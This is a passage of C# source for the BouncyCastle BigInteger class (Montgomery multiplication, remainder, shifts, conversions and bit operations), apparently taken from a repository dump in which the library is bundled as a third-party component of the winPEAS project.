14.36 of Handbook of Applied Cryptography.\n         * <br/>\n         * <li> m, x, y should have length n </li>\n         * <li> a should have length (n + 1) </li>\n         * <li> b = 2^32, R = b^n </li>\n         * <br/>\n         * The result is put in x\n         * <br/>\n         * NOTE: the indices of x, y, m, a different in HAC and in Java\n         */\n        private static void MultiplyMonty(int[] a, int[] x, int[] y, int[] m, uint mDash, bool smallMontyModulus)\n        // mDash = -m^(-1) mod b\n        {\n            int n = m.Length;\n\n            if (n == 1)\n            {\n                x[0] = (int)MultiplyMontyNIsOne((uint)x[0], (uint)y[0], (uint)m[0], mDash);\n                return;\n            }\n\n            uint y0 = (uint)y[n - 1];\n            int aMax;\n\n            {\n                ulong xi = (uint)x[n - 1];\n\n                ulong carry = xi * y0;\n                ulong t = (uint)carry * mDash;\n\n                ulong prod2 = t * (uint)m[n - 1];\n                carry += (uint)prod2;\n                Debug.Assert((uint)carry == 0);\n                carry = (carry >> 32) + (prod2 >> 32);\n\n                for (int j = n - 2; j >= 0; --j)\n                {\n                    ulong prod1 = xi * (uint)y[j];\n                    prod2 = t * (uint)m[j];\n\n                    carry += (prod1 & UIMASK) + (uint)prod2;\n                    a[j + 2] = (int)carry;\n                    carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32);\n                }\n\n                a[1] = (int)carry;\n                aMax = (int)(carry >> 32);\n            }\n\n            for (int i = n - 2; i >= 0; --i)\n            {\n                uint a0 = (uint)a[n];\n                ulong xi = (uint)x[i];\n\n                ulong prod1 = xi * y0;\n                ulong carry = (prod1 & UIMASK) + a0;\n                ulong t = (uint)carry * mDash;\n\n                ulong prod2 = t * (uint)m[n - 1];\n                carry += (uint)prod2;\n                Debug.Assert((uint)carry == 0);\n                carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32);\n\n                for (int j = n - 2; j >= 0; --j)\n                {\n                    prod1 = xi * (uint)y[j];\n                    prod2 = t * (uint)m[j];\n\n                    carry += (prod1 & UIMASK) + (uint)prod2 + (uint)a[j + 1];\n                    a[j + 2] = (int)carry;\n                    carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32);\n                }\n\n                carry += (uint)aMax;\n                a[1] = (int)carry;\n                aMax = (int)(carry >> 32);\n            }\n\n            a[0] = aMax;\n\n            if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0)\n            {\n                Subtract(0, a, 0, m);\n            }\n\n            Array.Copy(a, 1, x, 0, n);\n        }\n\n        private static void SquareMonty(int[] a, int[] x, int[] m, uint mDash, bool smallMontyModulus)\n        // mDash = -m^(-1) mod b\n        {\n            int n = m.Length;\n\n            if (n == 1)\n            {\n                uint xVal = (uint)x[0];\n                x[0] = (int)MultiplyMontyNIsOne(xVal, xVal, (uint)m[0], mDash);\n                return;\n            }\n\n            ulong x0 = (uint)x[n - 1];\n            int aMax;\n\n            {\n                ulong carry = x0 * x0;\n                ulong t = (uint)carry * mDash;\n\n                ulong prod2 = t * (uint)m[n - 1];\n                carry += (uint)prod2;\n                Debug.Assert((uint)carry == 0);\n                carry = (carry >> 32) + (prod2 >> 32);\n\n                for (int j = n - 2; j >= 0; --j)\n                {\n                    ulong prod1 = x0 * (uint)x[j];\n                    prod2 = t * (uint)m[j];\n\n                    carry += (prod2 & UIMASK) + ((uint)prod1 << 1);\n                    a[j + 2] = (int)carry;\n                    carry = (carry >> 32) + (prod1 >> 31) + (prod2 >> 32);\n                }\n\n                a[1] = (int)carry;\n                aMax = (int)(carry >> 32);\n            }\n\n            for (int i = n - 2; i >= 0; --i)\n            {\n                uint a0 = (uint)a[n];\n                ulong t = a0 * mDash;\n\n                ulong carry = t * (uint)m[n - 1] + a0;\n                Debug.Assert((uint)carry == 0);\n                carry >>= 32;\n\n                for (int j = n - 2; j > i; --j)\n                {\n                    carry += t * (uint)m[j] + (uint)a[j + 1];\n                    a[j + 2] = (int)carry;\n                    carry >>= 32;\n                }\n\n                ulong xi = (uint)x[i];\n\n                {\n                    ulong prod1 = xi * xi;\n                    ulong prod2 = t * (uint)m[i];\n\n                    carry += (prod1 & UIMASK) + (uint)prod2 + (uint)a[i + 1];\n                    a[i + 2] = (int)carry;\n                    carry = (carry >> 32) + (prod1 >> 32) + (prod2 >> 32);\n                }\n\n                for (int j = i - 1; j >= 0; --j)\n                {\n                    ulong prod1 = xi * (uint)x[j];\n                    ulong prod2 = t * (uint)m[j];\n\n                    carry += (prod2 & UIMASK) + ((uint)prod1 << 1) + (uint)a[j + 1];\n                    a[j + 2] = (int)carry;\n                    carry = (carry >> 32) + (prod1 >> 31) + (prod2 >> 32);\n                }\n\n                carry += (uint)aMax;\n                a[1] = (int)carry;\n                aMax = (int)(carry >> 32);\n            }\n\n            a[0] = aMax;\n\n            if (!smallMontyModulus && CompareTo(0, a, 0, m) >= 0)\n            {\n                Subtract(0, a, 0, m);\n            }\n\n            Array.Copy(a, 1, x, 0, n);\n        }\n\n        private static uint MultiplyMontyNIsOne(uint x, uint y, uint m, uint mDash)\n        {\n            ulong carry = (ulong)x * y;\n            uint t = (uint)carry * mDash;\n            ulong um = m;\n            ulong prod2 = um * t;\n            carry += (uint)prod2;\n            Debug.Assert((uint)carry == 0);\n            carry = (carry >> 32) + (prod2 >> 32);\n            if (carry > um)\n            {\n                carry -= um;\n            }\n            Debug.Assert(carry < um);\n            return (uint)carry;\n        }\n\n        public BigInteger Multiply(\n            BigInteger val)\n        {\n            if (val == this)\n                return Square();\n\n            if ((sign & val.sign) == 0)\n                return Zero;\n\n            if (val.QuickPow2Check()) // val is power of two\n            {\n                BigInteger result = this.ShiftLeft(val.Abs().BitLength - 1);\n                return val.sign > 0 ? result : result.Negate();\n            }\n\n            if (this.QuickPow2Check()) // this is power of two\n            {\n                BigInteger result = val.ShiftLeft(this.Abs().BitLength - 1);\n                return this.sign > 0 ? result : result.Negate();\n            }\n\n            int resLength = magnitude.Length + val.magnitude.Length;\n            int[] res = new int[resLength];\n\n            Multiply(res, this.magnitude, val.magnitude);\n\n            int resSign = sign ^ val.sign ^ 1;\n            return new BigInteger(resSign, res, true);\n        }\n\n        public BigInteger Square()\n        {\n            if (sign == 0)\n                return Zero;\n            if (this.QuickPow2Check())\n                return ShiftLeft(Abs().BitLength - 1);\n            int resLength = magnitude.Length << 1;\n            if ((uint)magnitude[0] >> 16 == 0)\n                --resLength;\n            int[] res = new int[resLength];\n            Square(res, magnitude);\n            return new BigInteger(1, res, false);\n        }\n\n        public BigInteger Negate()\n        {\n            if (sign == 0)\n                return this;\n\n            return new BigInteger(-sign, magnitude, false);\n        }\n\n        public BigInteger NextProbablePrime()\n        {\n            if (sign < 0)\n                throw new ArithmeticException(\"Cannot be called on value < 0\");\n\n            if (CompareTo(Two) < 0)\n                return Two;\n\n            BigInteger n = Inc().SetBit(0);\n\n            while (!n.CheckProbablePrime(100, RandomSource, false))\n            {\n                n = n.Add(Two);\n            }\n\n            return n;\n        }\n\n        public BigInteger Not()\n        {\n            return Inc().Negate();\n        }\n\n        public BigInteger Pow(int exp)\n        {\n            if (exp <= 0)\n            {\n                if (exp < 0)\n                    throw new ArithmeticException(\"Negative exponent\");\n\n                return One;\n            }\n\n            if (sign == 0)\n            {\n                return this;\n            }\n\n            if (QuickPow2Check())\n            {\n                long powOf2 = (long)exp * (BitLength - 1);\n                if (powOf2 > Int32.MaxValue)\n                {\n                    throw new ArithmeticException(\"Result too large\");\n                }\n                return One.ShiftLeft((int)powOf2);\n            }\n\n            BigInteger y = One;\n            BigInteger z = this;\n\n            for (; ; )\n            {\n                if ((exp & 0x1) == 1)\n                {\n                    y = y.Multiply(z);\n                }\n                exp >>= 1;\n                if (exp == 0) break;\n                z = z.Multiply(z);\n            }\n\n            return y;\n        }\n\n        public static BigInteger ProbablePrime(\n            int bitLength,\n            Random random)\n        {\n            return new BigInteger(bitLength, 100, random);\n        }\n\n        private int Remainder(\n            int m)\n        {\n            Debug.Assert(m > 0);\n\n            long acc = 0;\n            for (int pos = 0; pos < magnitude.Length; ++pos)\n            {\n                long posVal = (uint)magnitude[pos];\n                acc = (acc << 32 | posVal) % m;\n            }\n\n            return (int)acc;\n        }\n\n        /**\n         * return x = x % y - done in place (y value preserved)\n         */\n        private static int[] Remainder(\n            int[] x,\n            int[] y)\n        {\n            int xStart = 0;\n            while (xStart < x.Length && x[xStart] == 0)\n            {\n                ++xStart;\n            }\n\n            int yStart = 0;\n            while (yStart < y.Length && y[yStart] == 0)\n            {\n                ++yStart;\n            }\n\n            Debug.Assert(yStart < y.Length);\n\n            int xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y);\n\n            if (xyCmp > 0)\n            {\n                int yBitLength = CalcBitLength(1, yStart, y);\n                int xBitLength = CalcBitLength(1, xStart, x);\n                int shift = xBitLength - yBitLength;\n\n                int[] c;\n                int cStart = 0;\n                int cBitLength = yBitLength;\n                if (shift > 0)\n                {\n                    c = ShiftLeft(y, shift);\n                    cBitLength += shift;\n                    Debug.Assert(c[0] != 0);\n                }\n                else\n                {\n                    int len = y.Length - yStart;\n                    c = new int[len];\n                    Array.Copy(y, yStart, c, 0, len);\n                }\n\n                for (; ; )\n                {\n                    if (cBitLength < xBitLength\n                        || CompareNoLeadingZeroes(xStart, x, cStart, c) >= 0)\n                    {\n                        Subtract(xStart, x, cStart, c);\n\n                        while (x[xStart] == 0)\n                        {\n                            if (++xStart == x.Length)\n                                return x;\n                        }\n\n                        //xBitLength = CalcBitLength(xStart, x);\n                        xBitLength = 32 * (x.Length - xStart - 1) + BitLen(x[xStart]);\n\n                        if (xBitLength <= yBitLength)\n                        {\n                            if (xBitLength < yBitLength)\n                                return x;\n\n                            xyCmp = CompareNoLeadingZeroes(xStart, x, yStart, y);\n\n                            if (xyCmp <= 0)\n                                break;\n                        }\n                    }\n\n                    shift = cBitLength - xBitLength;\n\n                    // NB: The case where c[cStart] is 1-bit is harmless\n                    if (shift == 1)\n                    {\n                        uint firstC = (uint)c[cStart] >> 1;\n                        uint firstX = (uint)x[xStart];\n                        if (firstC > firstX)\n                            ++shift;\n                    }\n\n                    if (shift < 2)\n                    {\n                        ShiftRightOneInPlace(cStart, c);\n                        --cBitLength;\n                    }\n                    else\n                    {\n                        ShiftRightInPlace(cStart, c, shift);\n                        cBitLength -= shift;\n                    }\n\n                    //cStart = c.Length - ((cBitLength + 31) / 32);\n                    while (c[cStart] == 0)\n                    {\n                        ++cStart;\n                    }\n                }\n            }\n\n            if (xyCmp == 0)\n            {\n                Array.Clear(x, xStart, x.Length - xStart);\n            }\n\n            return x;\n        }\n\n        public BigInteger Remainder(\n            BigInteger n)\n        {\n            if (n.sign == 0)\n                throw new ArithmeticException(\"Division by zero error\");\n\n            if (this.sign == 0)\n                return Zero;\n\n            // For small values, use fast remainder method\n            if (n.magnitude.Length == 1)\n            {\n                int val = n.magnitude[0];\n\n                if (val > 0)\n                {\n                    if (val == 1)\n                        return Zero;\n\n                    // TODO Make this func work on uint, and handle val == 1?\n                    int rem = Remainder(val);\n\n                    return rem == 0\n                        ? Zero\n                        : new BigInteger(sign, new int[] { rem }, false);\n                }\n            }\n\n            if (CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude) < 0)\n                return this;\n\n            int[] result;\n            if (n.QuickPow2Check())  // n is power of two\n            {\n                // TODO Move before small values branch above?\n                result = LastNBits(n.Abs().BitLength - 1);\n            }\n            else\n            {\n                result = (int[])this.magnitude.Clone();\n                result = Remainder(result, n.magnitude);\n            }\n\n            return new BigInteger(sign, result, true);\n        }\n\n        private int[] LastNBits(\n            int n)\n        {\n            if (n < 1)\n                return ZeroMagnitude;\n\n            int numWords = (n + BitsPerInt - 1) / BitsPerInt;\n            numWords = System.Math.Min(numWords, this.magnitude.Length);\n            int[] result = new int[numWords];\n\n            Array.Copy(this.magnitude, this.magnitude.Length - numWords, result, 0, numWords);\n\n            int excessBits = (numWords << 5) - n;\n            if (excessBits > 0)\n            {\n                result[0] &= (int)(UInt32.MaxValue >> excessBits);\n            }\n\n            return result;\n        }\n\n        private BigInteger DivideWords(int w)\n        {\n            Debug.Assert(w >= 0);\n            int n = magnitude.Length;\n            if (w >= n)\n                return Zero;\n            int[] mag = new int[n - w];\n            Array.Copy(magnitude, 0, mag, 0, n - w);\n            return new BigInteger(sign, mag, false);\n        }\n\n        private BigInteger RemainderWords(int w)\n        {\n            Debug.Assert(w >= 0);\n            int n = magnitude.Length;\n            if (w >= n)\n                return this;\n            int[] mag = new int[w];\n            Array.Copy(magnitude, n - w, mag, 0, w);\n            return new BigInteger(sign, mag, false);\n        }\n\n        /**\n         * do a left shift - this returns a new array.\n         */\n        private static int[] ShiftLeft(\n            int[] mag,\n            int n)\n        {\n            int nInts = (int)((uint)n >> 5);\n            int nBits = n & 0x1f;\n            int magLen = mag.Length;\n            int[] newMag;\n\n            if (nBits == 0)\n            {\n                newMag = new int[magLen + nInts];\n                mag.CopyTo(newMag, 0);\n            }\n            else\n            {\n                int i = 0;\n                int nBits2 = 32 - nBits;\n                int highBits = (int)((uint)mag[0] >> nBits2);\n\n                if (highBits != 0)\n                {\n                    newMag = new int[magLen + nInts + 1];\n                    newMag[i++] = highBits;\n                }\n                else\n                {\n                    newMag = new int[magLen + nInts];\n                }\n\n                int m = mag[0];\n                for (int j = 0; j < magLen - 1; j++)\n                {\n                    int next = mag[j + 1];\n\n                    newMag[i++] = (m << nBits) | (int)((uint)next >> nBits2);\n                    m = next;\n                }\n\n                newMag[i] = mag[magLen - 1] << nBits;\n            }\n\n            return newMag;\n        }\n\n        private static int ShiftLeftOneInPlace(int[] x, int carry)\n        {\n            Debug.Assert(carry == 0 || carry == 1);\n            int pos = x.Length;\n            while (--pos >= 0)\n            {\n                uint val = (uint)x[pos];\n                x[pos] = (int)(val << 1) | carry;\n                carry = (int)(val >> 31);\n            }\n            return carry;\n        }\n\n        public BigInteger ShiftLeft(\n            int n)\n        {\n            if (sign == 0 || magnitude.Length == 0)\n                return Zero;\n\n            if (n == 0)\n                return this;\n\n            if (n < 0)\n                return ShiftRight(-n);\n\n            BigInteger result = new BigInteger(sign, ShiftLeft(magnitude, n), true);\n\n            if (this.nBits != -1)\n            {\n                result.nBits = sign > 0\n                    ? this.nBits\n                    : this.nBits + n;\n            }\n\n            if (this.nBitLength != -1)\n            {\n                result.nBitLength = this.nBitLength + n;\n            }\n\n            return result;\n        }\n\n        /**\n         * do a right shift - this does it in place.\n         */\n        private static void ShiftRightInPlace(\n            int start,\n            int[] mag,\n            int n)\n        {\n            int nInts = (int)((uint)n >> 5) + start;\n            int nBits = n & 0x1f;\n            int magEnd = mag.Length - 1;\n\n            if (nInts != start)\n            {\n                int delta = (nInts - start);\n\n                for (int i = magEnd; i >= nInts; i--)\n                {\n                    mag[i] = mag[i - delta];\n                }\n                for (int i = nInts - 1; i >= start; i--)\n                {\n                    mag[i] = 0;\n                }\n            }\n\n            if (nBits != 0)\n            {\n                int nBits2 = 32 - nBits;\n                int m = mag[magEnd];\n\n                for (int i = magEnd; i > nInts; --i)\n                {\n                    int next = mag[i - 1];\n\n                    mag[i] = (int)((uint)m >> nBits) | (next << nBits2);\n                    m = next;\n                }\n\n                mag[nInts] = (int)((uint)mag[nInts] >> nBits);\n            }\n        }\n\n        /**\n         * do a right shift by one - this does it in place.\n         */\n        private static void ShiftRightOneInPlace(\n            int start,\n            int[] mag)\n        {\n            int i = mag.Length;\n            int m = mag[i - 1];\n\n            while (--i > start)\n            {\n                int next = mag[i - 1];\n                mag[i] = ((int)((uint)m >> 1)) | (next << 31);\n                m = next;\n            }\n\n            mag[start] = (int)((uint)mag[start] >> 1);\n        }\n\n        public BigInteger ShiftRight(\n            int n)\n        {\n            if (n == 0)\n                return this;\n\n            if (n < 0)\n                return ShiftLeft(-n);\n\n            if (n >= BitLength)\n                return (this.sign < 0 ? One.Negate() : Zero);\n\n            //\t\t\tint[] res = (int[]) this.magnitude.Clone();\n            //\n            //\t\t\tShiftRightInPlace(0, res, n);\n            //\n            //\t\t\treturn new BigInteger(this.sign, res, true);\n\n            int resultLength = (BitLength - n + 31) >> 5;\n            int[] res = new int[resultLength];\n\n            int numInts = n >> 5;\n            int numBits = n & 31;\n\n            if (numBits == 0)\n            {\n                Array.Copy(this.magnitude, 0, res, 0, res.Length);\n            }\n            else\n            {\n                int numBits2 = 32 - numBits;\n\n                int magPos = this.magnitude.Length - 1 - numInts;\n                for (int i = resultLength - 1; i >= 0; --i)\n                {\n                    res[i] = (int)((uint)this.magnitude[magPos--] >> numBits);\n\n                    if (magPos >= 0)\n                    {\n                        res[i] |= this.magnitude[magPos] << numBits2;\n                    }\n                }\n            }\n\n            Debug.Assert(res[0] != 0);\n\n            return new BigInteger(this.sign, res, false);\n        }\n\n        public int SignValue\n        {\n            get { return sign; }\n        }\n\n        /**\n         * returns x = x - y - we assume x is >= y\n         */\n        private static int[] Subtract(\n            int xStart,\n            int[] x,\n            int yStart,\n            int[] y)\n        {\n            Debug.Assert(yStart < y.Length);\n            Debug.Assert(x.Length - xStart >= y.Length - yStart);\n\n            int iT = x.Length;\n            int iV = y.Length;\n            long m;\n            int borrow = 0;\n\n            do\n            {\n                m = (x[--iT] & IMASK) - (y[--iV] & IMASK) + borrow;\n                x[iT] = (int)m;\n\n                //\t\t\t\tborrow = (m < 0) ? -1 : 0;\n                borrow = (int)(m >> 63);\n            }\n            while (iV > yStart);\n\n            if (borrow != 0)\n            {\n                while (--x[--iT] == -1)\n                {\n                }\n            }\n\n            return x;\n        }\n\n        public BigInteger Subtract(\n            BigInteger n)\n        {\n            if (n.sign == 0)\n                return this;\n\n            if (this.sign == 0)\n                return n.Negate();\n\n            if (this.sign != n.sign)\n                return Add(n.Negate());\n\n            int compare = CompareNoLeadingZeroes(0, magnitude, 0, n.magnitude);\n            if (compare == 0)\n                return Zero;\n\n            BigInteger bigun, lilun;\n            if (compare < 0)\n            {\n                bigun = n;\n                lilun = this;\n            }\n            else\n            {\n                bigun = this;\n                lilun = n;\n            }\n\n            return new BigInteger(this.sign * compare, doSubBigLil(bigun.magnitude, lilun.magnitude), true);\n        }\n\n        private static int[] doSubBigLil(\n            int[] bigMag,\n            int[] lilMag)\n        {\n            int[] res = (int[])bigMag.Clone();\n\n            return Subtract(0, res, 0, lilMag);\n        }\n\n        public byte[] ToByteArray()\n        {\n            return ToByteArray(false);\n        }\n\n        public byte[] ToByteArrayUnsigned()\n        {\n            return ToByteArray(true);\n        }\n\n        private byte[] ToByteArray(\n            bool unsigned)\n        {\n            if (sign == 0)\n                return unsigned ? ZeroEncoding : new byte[1];\n\n            int nBits = (unsigned && sign > 0)\n                ? BitLength\n                : BitLength + 1;\n\n            int nBytes = GetByteLength(nBits);\n            byte[] bytes = new byte[nBytes];\n\n            int magIndex = magnitude.Length;\n            int bytesIndex = bytes.Length;\n\n            if (sign > 0)\n            {\n                while (magIndex > 1)\n                {\n                    uint mag = (uint)magnitude[--magIndex];\n                    bytes[--bytesIndex] = (byte)mag;\n                    bytes[--bytesIndex] = (byte)(mag >> 8);\n                    bytes[--bytesIndex] = (byte)(mag >> 16);\n                    bytes[--bytesIndex] = (byte)(mag >> 24);\n                }\n\n                uint lastMag = (uint)magnitude[0];\n                while (lastMag > byte.MaxValue)\n                {\n                    bytes[--bytesIndex] = (byte)lastMag;\n                    lastMag >>= 8;\n                }\n\n                bytes[--bytesIndex] = (byte)lastMag;\n            }\n            else // sign < 0\n            {\n                bool carry = true;\n\n                while (magIndex > 1)\n                {\n                    uint mag = ~((uint)magnitude[--magIndex]);\n\n                    if (carry)\n                    {\n                        carry = (++mag == uint.MinValue);\n                    }\n\n                    bytes[--bytesIndex] = (byte)mag;\n                    bytes[--bytesIndex] = (byte)(mag >> 8);\n                    bytes[--bytesIndex] = (byte)(mag >> 16);\n                    bytes[--bytesIndex] = (byte)(mag >> 24);\n                }\n\n                uint lastMag = (uint)magnitude[0];\n\n                if (carry)\n                {\n                    // Never wraps because magnitude[0] != 0\n                    --lastMag;\n                }\n\n                while (lastMag > byte.MaxValue)\n                {\n                    bytes[--bytesIndex] = (byte)~lastMag;\n                    lastMag >>= 8;\n                }\n\n                bytes[--bytesIndex] = (byte)~lastMag;\n\n                if (bytesIndex > 0)\n                {\n                    bytes[--bytesIndex] = byte.MaxValue;\n                }\n            }\n\n            return bytes;\n        }\n\n        public override string ToString()\n        {\n            return ToString(10);\n        }\n\n        public string ToString(int radix)\n        {\n            // TODO Make this method work for other radices (ideally 2 <= radix <= 36 as in Java)\n\n            switch (radix)\n            {\n                case 2:\n                case 8:\n                case 10:\n                case 16:\n                    break;\n                default:\n                    throw new FormatException(\"Only bases 2, 8, 10, 16 are allowed\");\n            }\n\n            // NB: Can only happen to internally managed instances\n            if (magnitude == null)\n                return \"null\";\n\n            if (sign == 0)\n                return \"0\";\n\n\n            // NOTE: This *should* be unnecessary, since the magnitude *should* never have leading zero digits\n            int firstNonZero = 0;\n            while (firstNonZero < magnitude.Length)\n            {\n                if (magnitude[firstNonZero] != 0)\n                {\n                    break;\n                }\n                ++firstNonZero;\n            }\n\n            if (firstNonZero == magnitude.Length)\n            {\n                return \"0\";\n            }\n\n\n            StringBuilder sb = new StringBuilder();\n            if (sign == -1)\n            {\n                sb.Append('-');\n            }\n\n            switch (radix)\n            {\n                case 2:\n                    {\n                        int pos = firstNonZero;\n                        sb.Append(Convert.ToString(magnitude[pos], 2));\n                        while (++pos < magnitude.Length)\n                        {\n                            AppendZeroExtendedString(sb, Convert.ToString(magnitude[pos], 2), 32);\n                        }\n                        break;\n                    }\n                case 8:\n                    {\n                        int mask = (1 << 30) - 1;\n                        BigInteger u = this.Abs();\n                        int bits = u.BitLength;\n                        IList S = Platform.CreateArrayList();\n                        while (bits > 30)\n                        {\n                            S.Add(Convert.ToString(u.IntValue & mask, 8));\n                            u = u.ShiftRight(30);\n                            bits -= 30;\n                        }\n                        sb.Append(Convert.ToString(u.IntValue, 8));\n                        for (int i = S.Count - 1; i >= 0; --i)\n                        {\n                            AppendZeroExtendedString(sb, (string)S[i], 10);\n                        }\n                        break;\n                    }\n                case 16:\n                    {\n                        int pos = firstNonZero;\n                        sb.Append(Convert.ToString(magnitude[pos], 16));\n                        while (++pos < magnitude.Length)\n                        {\n                            AppendZeroExtendedString(sb, Convert.ToString(magnitude[pos], 16), 8);\n                        }\n                        break;\n                    }\n                // TODO This could work for other radices if there is an alternative to Convert.ToString method\n                //default:\n                case 10:\n                    {\n                        BigInteger q = this.Abs();\n                        if (q.BitLength < 64)\n                        {\n                            sb.Append(Convert.ToString(q.LongValue, radix));\n                            break;\n                        }\n\n                        // TODO Could cache the moduli for each radix (soft reference?)\n                        IList moduli = Platform.CreateArrayList();\n                        BigInteger R = BigInteger.ValueOf(radix);\n                        while (R.CompareTo(q) <= 0)\n                        {\n                            moduli.Add(R);\n                            R = R.Square();\n                        }\n\n                        int scale = moduli.Count;\n                        sb.EnsureCapacity(sb.Length + (1 << scale));\n\n                        ToString(sb, radix, moduli, scale, q);\n\n                        break;\n                    }\n            }\n\n            return sb.ToString();\n        }\n\n        private static void ToString(StringBuilder sb, int radix, IList moduli, int scale, BigInteger pos)\n        {\n            if (pos.BitLength < 64)\n            {\n                string s = Convert.ToString(pos.LongValue, radix);\n                if (sb.Length > 1 || (sb.Length == 1 && sb[0] != '-'))\n                {\n                    AppendZeroExtendedString(sb, s, 1 << scale);\n                }\n                else if (pos.SignValue != 0)\n                {\n                    sb.Append(s);\n                }\n                return;\n            }\n\n            BigInteger[] qr = pos.DivideAndRemainder((BigInteger)moduli[--scale]);\n\n            ToString(sb, radix, moduli, scale, qr[0]);\n            ToString(sb, radix, moduli, scale, qr[1]);\n        }\n\n        private static void AppendZeroExtendedString(StringBuilder sb, string s, int minLength)\n        {\n            for (int len = s.Length; len < minLength; ++len)\n            {\n                sb.Append('0');\n            }\n            sb.Append(s);\n        }\n\n        private static BigInteger CreateUValueOf(\n            ulong value)\n        {\n            int msw = (int)(value >> 32);\n            int lsw = (int)value;\n\n            if (msw != 0)\n                return new BigInteger(1, new int[] { msw, lsw }, false);\n\n            if (lsw != 0)\n            {\n                BigInteger n = new BigInteger(1, new int[] { lsw }, false);\n                // Check for a power of two\n                if ((lsw & -lsw) == lsw)\n                {\n                    n.nBits = 1;\n                }\n                return n;\n            }\n\n            return Zero;\n        }\n\n        private static BigInteger CreateValueOf(\n            long value)\n        {\n            if (value < 0)\n            {\n                if (value == long.MinValue)\n                    return CreateValueOf(~value).Not();\n\n                return CreateValueOf(-value).Negate();\n            }\n\n            return CreateUValueOf((ulong)value);\n        }\n\n        public static BigInteger ValueOf(\n            long value)\n        {\n            if (value >= 0 && value < SMALL_CONSTANTS.Length)\n            {\n                return SMALL_CONSTANTS[value];\n            }\n\n            return CreateValueOf(value);\n        }\n\n        public int GetLowestSetBit()\n        {\n            if (this.sign == 0)\n                return -1;\n\n            return GetLowestSetBitMaskFirst(-1);\n        }\n\n        private int GetLowestSetBitMaskFirst(int firstWordMask)\n        {\n            int w = magnitude.Length, offset = 0;\n\n            uint word = (uint)(magnitude[--w] & firstWordMask);\n            Debug.Assert(magnitude[0] != 0);\n\n            while (word == 0)\n            {\n                word = (uint)magnitude[--w];\n                offset += 32;\n            }\n\n            while ((word & 0xFF) == 0)\n            {\n                word >>= 8;\n                offset += 8;\n            }\n\n            while ((word & 1) == 0)\n            {\n                word >>= 1;\n                ++offset;\n            }\n\n            return offset;\n        }\n\n        public bool TestBit(\n            int n)\n        {\n            if (n < 0)\n                throw new ArithmeticException(\"Bit position must not be negative\");\n\n            if (sign < 0)\n                return !Not().TestBit(n);\n\n            int wordNum = n / 32;\n            if (wordNum >= magnitude.Length)\n                return false;\n\n            int word = magnitude[magnitude.Length - 1 - wordNum];\n            return ((word >> (n % 32)) & 1) > 0;\n        }\n\n        public BigInteger Or(\n            BigInteger value)\n        {\n            if (this.sign == 0)\n                return value;\n\n            if (value.sign == 0)\n                return this;\n\n            int[] aMag = this.sign > 0\n                ? this.magnitude\n                : Add(One).magnitude;\n\n            int[] bMag = value.sign > 0\n                ? value.magnitude\n                : value.Add(One).magnitude;\n\n            bool resultNeg = sign < 0 || value.sign < 0;\n            int resultLength = System.Math.Max(aMag.Length, bMag.Length);\n            int[] resultMag = new int[resultLength];\n\n            int aStart = resultMag.Length - aMag.Length;\n            int bStart = resultMag.Length - bMag.Length;\n\n            for (int i = 0; i < resultMag.Length; ++i)\n            {\n                int aWord = i >= aStart ? aMag[i - aStart] : 0;\n                int bWord = i >= bStart ? bMag[i - bStart] : 0;\n\n                if (this.sign < 0)\n                {\n                    aWord = ~aWord;\n                }\n\n                if (value.sign < 0)\n                {\n                    bWord = ~bWord;\n                }\n\n                resultMag[i] = aWord | bWord;\n\n                if (resultNeg)\n                {\n                    resultMag[i] = ~resultMag[i];\n                }\n            }\n\n            BigInteger result = new BigInteger(1, resultMag, true);\n\n            // TODO Optimise this case\n            if (resultNeg)\n            {\n                result = result.Not();\n            }\n\n            return result;\n        }\n\n        public BigInteger Xor(\n            BigInteger value)\n        {\n            if (this.sign == 0)\n                return value;\n\n            if (value.sign == 0)\n                return this;\n\n            int[] aMag = this.sign > 0\n                ? this.magnitude\n                : Add(One).magnitude;\n\n            int[] bMag = value.sign > 0\n                ? value.magnitude\n                : value.Add(One).magnitude;\n\n            // TODO Can just replace with sign != value.sign?\n            bool resultNeg = (sign < 0 && value.sign >= 0) || (sign >= 0 && value.sign < 0);\n            int resultLength = System.Math.Max(aMag.Length, bMag.Length);\n            int[] resultMag = new int[resultLength];\n\n            int aStart = resultMag.Length - aMag.Length;\n            int bStart = resultMag.Length - bMag.Length;\n\n            for (int i = 0; i < resultMag.Length; ++i)\n            {\n                int aWord = i >= aStart ? aMag[i - aStart] : 0;\n                int bWord = i >= bStart ? bMag[i - bStart] : 0;\n\n                if (this.sign < 0)\n                {\n                    aWord = ~aWord;\n                }\n\n                if (value.sign < 0)\n                {\n                    bWord = ~bWord;\n                }\n\n                resultMag[i] = aWord ^ bWord;\n\n                if (resultNeg)\n                {\n                    resultMag[i] = ~resultMag[i];\n                }\n            }\n\n            BigInteger result = new BigInteger(1, resultMag, true);\n\n            // TODO Optimise this case\n            if (resultNeg)\n            {\n                result = result.Not();\n            }\n\n            return result;\n        }\n\n        public BigInteger SetBit(\n            int n)\n        {\n            if (n < 0)\n                throw new ArithmeticException(\"Bit address less than zero\");\n\n            if (TestBit(n))\n                return this;\n\n            // TODO Handle negative values and zero\n            if (sign > 0 && n < (BitLength - 1))\n                return FlipExistingBit(n);\n\n            return Or(One.ShiftLeft(n));\n        }\n\n        public BigInteger ClearBit(\n            int n)\n        {\n            if (n < 0)\n                throw new ArithmeticException(\"Bit address less than zero\");\n\n            if (!TestBit(n))\n                return this;\n\n            // TODO Handle negative values\n            if (sign > 0 && n < (BitLength - 1))\n                return FlipExistingBit(n);\n\n            return AndNot(One.ShiftLeft(n));\n        }\n\n        public BigInteger FlipBit(\n            int n)\n        {\n            if (n < 0)\n                throw new ArithmeticException(\"Bit address less than zero\");\n\n            // TODO Handle negative values and zero\n            if (sign > 0 && n < (BitLength - 1))\n                return FlipExistingBit(n);\n\n            return Xor(One.ShiftLeft(n));\n        }\n\n        private BigInteger FlipExistingBit(\n            int n)\n        {\n            Debug.Assert(sign > 0);\n            Debug.Assert(n >= 0);\n            Debug.Assert(n < BitLength - 1);\n\n            int[] mag = (int[])this.magnitude.Clone();\n            mag[mag.Length - 1 - (n >> 5)] ^= (1 << (n & 31)); // Flip bit\n            //mag[mag.Length - 1 - (n / 32)] ^= (1 << (n % 32));\n            return new BigInteger(this.sign, mag, false);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/math/raw/Bits.cs",
